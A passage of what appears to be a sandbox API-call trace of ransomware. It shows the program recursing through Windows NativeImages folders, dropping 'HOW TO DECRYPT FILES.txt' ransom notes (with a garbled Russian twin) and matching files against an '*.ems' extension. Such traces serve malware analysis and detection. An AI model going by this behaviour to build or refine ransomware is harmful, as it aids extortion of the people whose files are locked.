lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\", lpString2="Microsoft.MediaCenter.ITVVM.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\Microsoft.MediaCenter.ITVVM.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\Microsoft.MediaCenter.ITVVM.ni.dll" [0108.269] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\ef44c6dfcb60c7b8bc8c26847048d6e5\\Microsoft.MediaCenter.ITVVM.ni.dll", pszSpec="*.ems") returned 0 [0108.269] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x310245ed, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x310245ed, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9e367996, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x25400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.ITVVM.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.270] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.270] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64abf540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x64abf540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x64abf540, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="f1f58d6720098d7c1d51faf7f326d72d", cAlternateFileName="F1F58D~1")) returned 1 [0108.270] lstrcmpA (lpString1=".", lpString2="f1f58d6720098d7c1d51faf7f326d72d") returned -1 [0108.270] lstrcmpA (lpString1="..", lpString2="f1f58d6720098d7c1d51faf7f326d72d") returned -1 [0108.270] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\*.*") returned="*.*" [0108.270] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\", lpString2="f1f58d6720098d7c1d51faf7f326d72d" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d" [0108.270] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64abf540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x64abf540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x64abf540, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.271] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.271] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64abf540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x64abf540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x64abf540, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.271] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.271] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.271] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d50c2c, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30d50c2c, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xe888aed9, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x28400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Mheg.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.271] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.271] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.MediaCenter.Mheg.ni.dll") returned -1 [0108.271] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.MediaCenter.Mheg.ni.dll") returned -1 [0108.271] lstrcmpiA (lpString1="", lpString2="Microsoft.MediaCenter.Mheg.ni.dll") returned -1 [0108.271] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\*.*") returned="*.*" [0108.271] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\" [0108.271] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\") returned="" [0108.271] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\HOW TO DECRYPT FILES.txt" [0108.271] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\f1f58d6720098d7c1d51faf7f326d72d\\how to decrypt files.txt")) returned 0xffffffff [0108.272] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.mediacent#\\f1f58d6720098d7c1d51faf7f326d72d\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.274] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.274] CloseHandle (hObject=0x90) returned 1 [0108.274] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\", lpString2="Microsoft.MediaCenter.Mheg.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\Microsoft.MediaCenter.Mheg.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\Microsoft.MediaCenter.Mheg.ni.dll" [0108.274] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.MediaCent#\\f1f58d6720098d7c1d51faf7f326d72d\\Microsoft.MediaCenter.Mheg.ni.dll", pszSpec="*.ems") returned 0 [0108.275] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30d50c2c, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x30d50c2c, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0xe888aed9, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x28400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.MediaCenter.Mheg.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.275] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.275] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x64abf540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x64abf540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x64abf540, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="f1f58d6720098d7c1d51faf7f326d72d", cAlternateFileName="F1F58D~1")) returned 0 [0108.275] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0108.275] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac6daaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6eb838c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6eb838c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x69004d, dwReserved1=0x720063, cFileName="Microsoft.Office.Bu#", cAlternateFileName="MICROS~1.BU#")) returned 1 [0108.275] lstrcmpA (lpString1=".", lpString2="Microsoft.Office.Bu#") returned -1 [0108.275] lstrcmpA (lpString1="..", lpString2="Microsoft.Office.Bu#") returned -1 [0108.275] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0108.275] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="Microsoft.Office.Bu#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#" [0108.275] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac6daaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6eb838c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6eb838c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0108.281] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.281] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac6daaf0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6eb838c0, ftLastAccessTime.dwHighDateTime=0x1d305ec, ftLastWriteTime.dwLowDateTime=0x6eb838c0, ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.281] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.281] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.281] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb17ef850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb17ef850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb17ef850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="23c22f8a3deb1f2a9203300b79dd7a03", cAlternateFileName="23C22F~1")) returned 1 [0108.281] lstrcmpA (lpString1=".", lpString2="23c22f8a3deb1f2a9203300b79dd7a03") returned -1 [0108.281] lstrcmpA (lpString1="..", lpString2="23c22f8a3deb1f2a9203300b79dd7a03") returned -1 [0108.281] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\*.*") returned="*.*" [0108.281] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\", lpString2="23c22f8a3deb1f2a9203300b79dd7a03" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03" [0108.282] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb17ef850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb17ef850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb17ef850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.282] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.283] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb17ef850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb17ef850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb17ef850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.283] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.283] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.283] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb177d430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb177d430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb17c96f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x447800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.283] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.283] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.BusinessData.ni.dll") returned -1 [0108.283] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.BusinessData.ni.dll") returned -1 [0108.283] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.BusinessData.ni.dll") returned -1 [0108.283] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\*.*") returned="*.*" [0108.283] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\" [0108.283] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\") returned="" [0108.283] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\HOW TO DECRYPT FILES.txt" [0108.283] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\how to decrypt files.txt")) returned 0xffffffff [0108.283] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0108.291] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0108.291] CloseHandle (hObject=0x90) returned 1 [0108.291] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\", lpString2="Microsoft.Office.BusinessData.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\Microsoft.Office.BusinessData.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\Microsoft.Office.BusinessData.ni.dll" [0108.291] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\23c22f8a3deb1f2a9203300b79dd7a03\\Microsoft.Office.BusinessData.ni.dll", pszSpec="*.ems") returned 0 [0108.292] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb177d430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xb177d430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb17c96f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x447800, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessData.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.292] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.293] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaddea010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xaddea010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaddea010, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="32415bc135cd7c09840eda324131fc83", cAlternateFileName="32415B~1")) returned 1 [0108.294] lstrcmpA (lpString1=".", lpString2="32415bc135cd7c09840eda324131fc83") returned -1 [0108.294] lstrcmpA (lpString1="..", lpString2="32415bc135cd7c09840eda324131fc83") returned -1 [0108.294] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\*.*") returned="*.*" [0108.294] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\", lpString2="32415bc135cd7c09840eda324131fc83" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83" [0108.294] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83") returned 100 [0108.294] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaddea010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xaddea010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaddea010, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0108.295] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0108.295] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaddea010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xaddea010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xaddea010, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0108.295] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0108.295] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0108.295] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadcdf670, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xadcdf670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd057d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x2d1e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0108.295] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0108.295] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll") returned -1 [0108.295] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll") returned -1 [0108.295] lstrcmpiA (lpString1="", lpString2="Microsoft.Office.BusinessApplications.RuntimeUi.ni.dll") returned -1 [0108.295] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\*.*") returned="*.*" [0108.295] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\" [0108.295] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\") returned="" [0108.295] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\HOW TO DECRYPT FILES.txt" [0108.295] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\microsoft.office.bu#\\32415bc135cd7c09840eda324131fc83\\how to decrypt files.txt")) returned 0xffffffff [0108.295] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.Bu#\\32415bc135cd7c09840eda324131fc83\\HOW TO DECRYPT FILES.txt" (normalized: 